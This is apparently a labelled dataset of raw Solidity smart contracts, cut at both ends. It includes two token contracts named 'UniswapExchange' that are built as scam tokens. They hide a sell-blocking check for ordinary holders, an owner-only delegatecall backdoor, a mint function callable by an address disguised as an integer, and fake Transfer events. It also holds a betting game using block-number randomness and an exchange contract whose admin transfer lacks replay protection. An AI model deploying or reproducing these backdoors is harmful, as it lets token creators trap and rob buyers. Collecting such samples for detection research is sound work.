return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1461045492991056468287016484048686824852249628073));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 1 | 3,814 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 1 | 3,031 |
pragma solidity ^0.4.24;
contract DiscountToken { mapping (address => uint256) public balanceOf; }
contract TwoCoinsOneMoonGame {
struct Bettor {
address account;
uint256 amount;
}
struct Event {
uint256 winner;
uint256 newMoonLevel;
uint256 block;
uint256 blueCap;
uint256 redCap;
}
uint256 public lastLevelChangeBlock;
uint256 public lastEventId;
uint256 public moonLevel;
uint256 public marketCapBlue;
uint256 public marketCapRed;
uint256 public startBetBlue;
uint256 public startBetRed;
Bettor[] public bettorsBlue;
Bettor[] public bettorsRed;
Event[] public history;
mapping (address => uint) public balance;
address private feeCollector;
DiscountToken discountToken;
constructor() public {
marketCapBlue = 0;
marketCapRed = 0;
startBetBlue = 0;
startBetRed = 0;
feeCollector = 0xfd4e7b9f4f97330356f7d1b5ddb9843f2c3e9d87;
discountToken = DiscountToken(0x40430713e9fa954cf33562b8469ad94ab3e14c10);
lastLevelChangeBlock = block.number;
moonLevel = 500 finney;
}
function getBetAmount() private returns (uint256) {
require (msg.value >= 100 finney);
uint256 betAmount = msg.value;
if (discountToken.balanceOf(msg.sender) == 0) {
uint256 comission = betAmount * 4 / 100;
betAmount -= comission;
balance[feeCollector] += comission;
}
return betAmount;
}
function betBlueCoin() public payable {
uint256 betAmount = getBetAmount();
marketCapBlue += betAmount;
bettorsBlue.push(Bettor({account:msg.sender, amount:betAmount}));
checkMoon();
}
function betRedCoin() public payable {
uint256 betAmount = getBetAmount();
marketCapRed += betAmount;
bettorsRed.push(Bettor({account:msg.sender, amount:betAmount}));
checkMoon();
}
function withdraw() public {
if (balance[feeCollector] != 0) {
uint256 fee = balance[feeCollector];
balance[feeCollector] = 0;
feeCollector.call.value(fee)();
}
uint256 amount = balance[msg.sender];
balance[msg.sender] = 0;
msg.sender.transfer(amount);
}
function depositBalance(uint256 winner) private {
uint256 i;
if (winner == 0) {
for (i = startBetBlue; i < bettorsBlue.length; i++) {
balance[bettorsBlue[i].account] += bettorsBlue[i].amount;
balance[bettorsBlue[i].account] += 10**18 * bettorsBlue[i].amount / marketCapBlue * marketCapRed / 10**18;
}
}
else {
for (i = startBetRed; i < bettorsRed.length; i++) {
balance[bettorsRed[i].account] += bettorsRed[i].amount;
balance[bettorsRed[i].account] += 10**18 * bettorsRed[i].amount / marketCapRed * marketCapBlue / 10**18;
}
}
}
function addEvent(uint256 winner) private {
history.push(Event({winner: winner, newMoonLevel: moonLevel, block: block.number, blueCap: marketCapBlue, redCap: marketCapRed}));
lastEventId = history.length - 1;
lastLevelChangeBlock = block.number;
}
function burstBubble() private {
uint256 winner;
if (marketCapBlue == marketCapRed) {
winner = block.number % 2;
}
else if (marketCapBlue > marketCapRed) {
winner = 0;
}
else {
winner = 1;
}
depositBalance(winner);
moonLevel = moonLevel * 2;
addEvent(winner);
marketCapBlue = 0;
marketCapRed = 0;
startBetBlue = bettorsBlue.length;
startBetRed = bettorsRed.length;
}
function checkMoon() private {
if (block.number - lastLevelChangeBlock > 42000) {
moonLevel = moonLevel / 2;
addEvent(2);
}
if (marketCapBlue >= moonLevel || marketCapRed >= moonLevel) {
burstBubble();
}
}
} | 1 | 3,552 |
pragma solidity ^0.4.25;
contract Token {
function transfer(address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
}
contract NescrowExchangeService {
address owner = msg.sender;
uint256 public feeRateLimit = 200;
uint256 public takerFeeRate = 0;
uint256 public makerFeeRate = 0;
address public feeAddress;
mapping (address => bool) public admins;
mapping (bytes32 => uint256) public orderFills;
mapping (bytes32 => uint256) public orderPaymentFills;
mapping (bytes32 => bool) public withdrawn;
mapping (bytes32 => bool) public transfers;
mapping (address => mapping (address => uint256)) public balances;
mapping (address => uint256) public tradesLocked;
mapping (address => uint256) public disableFees;
mapping (address => uint256) public tokenDecimals;
mapping (address => bool) public tokenRegistered;
struct EIP712Domain {
string name;
string version;
uint256 chainId;
address verifyingContract;
}
event OrderPayment(address indexed user, address spendToken, uint256 spendAmount, address indexed merchant, address merchantReceiveToken, uint256 merchantReceiveAmount);
event TradesLock(address user);
event TradesUnlock(address user);
modifier onlyOwner {
assert(msg.sender == owner);
_;
}
modifier onlyAdmin {
require(msg.sender == owner || admins[msg.sender]);
_;
}
bytes32 constant EIP712DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)");
bytes32 constant ORDER_TYPEHASH = keccak256("Order(address fromToken,uint256 fromAmount,address toToken,uint256 toAmount,uint256 autoWithdraw,uint256 expires,uint256 nonce)");
bytes32 constant ORDER_WITH_TIPS_TYPEHASH = keccak256("OrderWithTips(address fromToken,uint256 fromAmount,address toToken,uint256 toAmount,uint256 autoWithdraw,uint256 expires,uint256 nonce,uint256 makerTips,uint256 takerTips)");
bytes32 constant ORDER_PAYMENT_TYPEHASH = keccak256("OrderPayment(address spendToken,uint256 spendAmount,address merchantReceiveToken,uint256 merchantReceiveAmount,address merchant,uint256 expires,uint256 nonce)");
bytes32 constant WITHDRAWAL_TYPEHASH = keccak256("Withdrawal(address withdrawToken,uint256 amount,uint256 nonce)");
bytes32 constant TIPS_TYPEHASH = keccak256("Tips(address tipsToken,uint256 amount,uint256 nonce)");
bytes32 constant TRANSFER_TYPEHASH = keccak256("Transfer(address transferToken,address to,uint256 amount,uint256 nonce)");
bytes32 DOMAIN_SEPARATOR;
function domainHash(EIP712Domain eip712Domain) internal pure returns (bytes32) {
return keccak256(abi.encode(
EIP712DOMAIN_TYPEHASH,
keccak256(bytes(eip712Domain.name)),
keccak256(bytes(eip712Domain.version)),
eip712Domain.chainId,
eip712Domain.verifyingContract
));
}
constructor() public {
DOMAIN_SEPARATOR = domainHash(EIP712Domain({
name: "Nescrow Exchange",
version: '2',
chainId: 1,
verifyingContract: this
}));
tokenRegistered[0x0] = true;
tokenDecimals[0x0] = 18;
}
function setOwner(address newOwner) external onlyOwner {
owner = newOwner;
}
function getOwner() public view returns (address out) {
return owner;
}
function setAdmin(address admin, bool isAdmin) external onlyOwner {
admins[admin] = isAdmin;
}
function deposit() external payable {
uint amount = safeDiv(msg.value, 10**10);
require(amount > 0);
increaseBalance(msg.sender, address(0), amount);
}
function depositToken(address token, uint256 amount) external {
require(amount > 0);
require(safeTransferFrom(token, msg.sender, this, toTokenAmount(token, amount)));
increaseBalance(msg.sender, token, amount);
}
function depositTokenByAdmin(address user, address token, uint256 amount)
external onlyAdmin {
require(amount > 0);
require(safeTransferFrom(token, user, this, toTokenAmount(token, amount)));
increaseBalance(user, token, amount);
}
function sendTips() external payable {
uint amount = safeDiv(msg.value, 10**10);
require(amount > 0);
increaseBalance(feeAddress, address(0), amount);
}
function transferTips(address token, uint256 amount, address fromUser, uint nonce, uint8 v, bytes32 r, bytes32 s)
external onlyAdmin {
require(amount > 0);
bytes32 hash = keccak256(abi.encode(TIPS_TYPEHASH, token, amount, nonce));
require(ecrecover(keccak256(abi.encodePacked("\x19\x01", DOMAIN_SEPARATOR, hash)), v, r, s) == fromUser);
require(!transfers[hash]);
transfers[hash] = true;
require(reduceBalance(fromUser, token, amount));
increaseBalance(feeAddress, token, amount);
}
function transfer(address token, uint256 amount, address fromUser, address toUser, uint nonce, uint8 v, bytes32 r, bytes32 s)
external onlyAdmin {
require(amount > 0);
bytes32 hash = keccak256(abi.encode(TRANSFER_TYPEHASH, token, toUser, amount, nonce));
require(ecrecover(keccak256(abi.encodePacked("\x19\x01", DOMAIN_SEPARATOR, hash)), v, r, s) == fromUser);
transfers[hash] = true;
require(reduceBalance(fromUser, token, amount));
increaseBalance(toUser, token, amount);
}
function withdrawByAdmin(address token, uint256 amount, address user, uint nonce, uint8 v, bytes32 r, bytes32 s)
external onlyAdmin {
require(amount > 0);
bytes32 hash = keccak256(abi.encode(WITHDRAWAL_TYPEHASH, token, amount, nonce));
require(ecrecover(keccak256(abi.encodePacked("\x19\x01", DOMAIN_SEPARATOR, hash)), v, r, s) == user);
require(!withdrawn[hash]);
withdrawn[hash] = true;
require(reduceBalance(user, token, amount));
require(sendToUser(user, token, amount));
}
function withdraw(address token, uint256 amount) external {
require(amount > 0);
require(tradesLocked[msg.sender] > block.number);
require(reduceBalance(msg.sender, token, amount));
require(sendToUser(msg.sender, token, amount));
}
function reduceBalance(address user, address token, uint256 amount) private returns(bool) {
if (balances[token][user] < amount) return false;
balances[token][user] = safeSub(balances[token][user], amount);
return true;
}
function increaseBalanceOrWithdraw(address user, address token, uint256 amount, uint256 _withdraw) private returns(bool) {
if (_withdraw == 1) {
return sendToUser(user, token, amount);
} else {
return increaseBalance(user, token, amount);
}
}
function increaseBalance(address user, address token, uint256 amount) private returns(bool) {
balances[token][user] = safeAdd(balances[token][user], amount);
return true;
}
function sendToUser(address user, address token, uint256 amount) private returns(bool) {
if (token == address(0)) {
return user.send(toTokenAmount(address(0), amount));
} else {
return safeTransfer(token, user, toTokenAmount(token, amount));
}
}
function toTokenAmount(address token, uint256 amount) private view returns (uint256) {
require(tokenRegistered[token]);
uint256 decimals = token == address(0)
? 18
: tokenDecimals[token];
if (decimals == 8) {
return amount;
}
if (decimals > 8) {
return safeMul(amount, 10**(decimals - 8));
} else {
return safeDiv(amount, 10**(8 - decimals));
}
}
function setTakerFeeRate(uint256 feeRate) external onlyAdmin {
require(feeRate == 0 || feeRate >= feeRateLimit);
takerFeeRate = feeRate;
}
function setMakerFeeRate(uint256 feeRate) external onlyAdmin {
require(feeRate == 0 || feeRate >= feeRateLimit);
makerFeeRate = feeRate;
}
function setFeeAddress(address _feeAddress) external onlyAdmin {
require(_feeAddress != address(0));
feeAddress = _feeAddress;
}
function disableFeesForUser(address user, uint256 timestamp) external onlyAdmin {
require(timestamp > block.timestamp);
disableFees[user] = timestamp;
}
function registerToken(address token, uint256 decimals) external onlyAdmin {
require(!tokenRegistered[token]);
tokenRegistered[token] = true;
tokenDecimals[token] = decimals;
}
function tradesLock(address user) external {
require(user == msg.sender);
tradesLocked[user] = block.number + 20000;
emit TradesLock(user);
}
function tradesUnlock(address user) external {
require(user == msg.sender);
tradesLocked[user] = 0;
emit TradesUnlock(user);
}
function isUserMakerFeeEnabled(address user, uint256 disableFee) private view returns(bool) {
return disableFee == 0 && makerFeeRate > 0 && disableFees[user] < block.timestamp;
}
function isUserTakerFeeEnabled(address user, uint256 disableFee) private view returns(bool) {
return disableFee == 0 && takerFeeRate > 0 && disableFees[user] < block.timestamp;
}
function calculateRate(uint256 offerAmount, uint256 wantAmount) private pure returns(uint256) {
return safeDiv(safeMul(10**8, wantAmount), offerAmount);
}
function trade(
uint256[10] amounts,
address[4] addresses,
uint256[6] values,
bytes32[4] rs
) external onlyAdmin {
require(tradesLocked[addresses[0]] < block.number);
require(block.timestamp <= amounts[2]);
bytes32 orderHash = keccak256(abi.encode(ORDER_TYPEHASH, addresses[2], amounts[0], addresses[3], amounts[1], values[2], amounts[2], amounts[3]));
require(ecrecover(keccak256(abi.encodePacked("\x19\x01", DOMAIN_SEPARATOR, orderHash)), uint8(values[0]), rs[0], rs[1]) == addresses[0]);
orderFills[orderHash] = safeAdd(orderFills[orderHash], amounts[8]);
require(orderFills[orderHash] <= amounts[0]);
require(tradesLocked[addresses[1]] < block.number);
require(block.timestamp <= amounts[6]);
bytes32 orderHash2 = keccak256(abi.encode(ORDER_TYPEHASH, addresses[3], amounts[4], addresses[2], amounts[5], values[3], amounts[6], amounts[7]));
require(ecrecover(keccak256(abi.encodePacked("\x19\x01", DOMAIN_SEPARATOR, orderHash2)), uint8(values[1]), rs[2], rs[3]) == addresses[1]);
uint256 makerRate = calculateRate(amounts[0], amounts[1]);
uint256 takerRate = calculateRate(amounts[5], amounts[4]);
require(makerRate <= takerRate);
require(makerRate == calculateRate(amounts[8], amounts[9]));
orderFills[orderHash2] = safeAdd(orderFills[orderHash2], amounts[9]);
require(orderFills[orderHash2] <= amounts[4]);
require(reduceBalance(addresses[0], addresses[2], amounts[8]));
require(reduceBalance(addresses[1], addresses[3], amounts[9]));
if (isUserMakerFeeEnabled(addresses[0], values[4])) {
require(increaseBalanceOrWithdraw(addresses[0], addresses[3], safeSub(amounts[9], safeDiv(amounts[9], makerFeeRate)), values[2]));
increaseBalance(feeAddress, addresses[3], safeDiv(amounts[9], makerFeeRate));
} else {
require(increaseBalanceOrWithdraw(addresses[0], addresses[3], amounts[9], values[2]));
}
if (isUserTakerFeeEnabled(addresses[1], values[5])) {
require(increaseBalanceOrWithdraw(addresses[1], addresses[2], safeSub(amounts[8], safeDiv(amounts[8], takerFeeRate)), values[3]));
increaseBalance(feeAddress, addresses[2], safeDiv(amounts[8], takerFeeRate));
} else {
require(increaseBalanceOrWithdraw(addresses[1], addresses[2], amounts[8], values[3]));
}
}
function exchangeAndPay(
uint256[10] amounts,
address[5] addresses,
uint256[4] values,
bytes32[4] rs
) external onlyAdmin {
require(tradesLocked[addresses[0]] < block.number);
require(block.timestamp <= amounts[2]);
bytes32 orderHash = keccak256(abi.encode(ORDER_TYPEHASH, addresses[2], amounts[0], addresses[3], amounts[1], values[3], amounts[2], amounts[3]));
require(ecrecover(keccak256(abi.encodePacked("\x19\x01", DOMAIN_SEPARATOR, orderHash)), uint8(values[0]), rs[0], rs[1]) == addresses[0]);
orderFills[orderHash] = safeAdd(orderFills[orderHash], amounts[8]);
require(orderFills[orderHash] <= amounts[0]);
require(tradesLocked[addresses[1]] < block.number);
require(block.timestamp <= amounts[6]);
bytes32 orderHash2 = keccak256(abi.encode(ORDER_PAYMENT_TYPEHASH, addresses[3], amounts[4], addresses[2], amounts[5], addresses[4], amounts[6], amounts[7]));
require(ecrecover(keccak256(abi.encodePacked("\x19\x01", DOMAIN_SEPARATOR, orderHash2)), uint8(values[1]), rs[2], rs[3]) == addresses[1]);
uint256 makerRate = calculateRate(amounts[0], amounts[1]);
uint256 takerRate = calculateRate(amounts[5], amounts[4]);
require(makerRate <= takerRate);
require(makerRate == calculateRate(amounts[8], amounts[9]));
orderPaymentFills[orderHash2] = safeAdd(orderPaymentFills[orderHash2], amounts[9]);
require(orderPaymentFills[orderHash2] <= amounts[4]);
require(reduceBalance(addresses[0], addresses[2], amounts[8]));
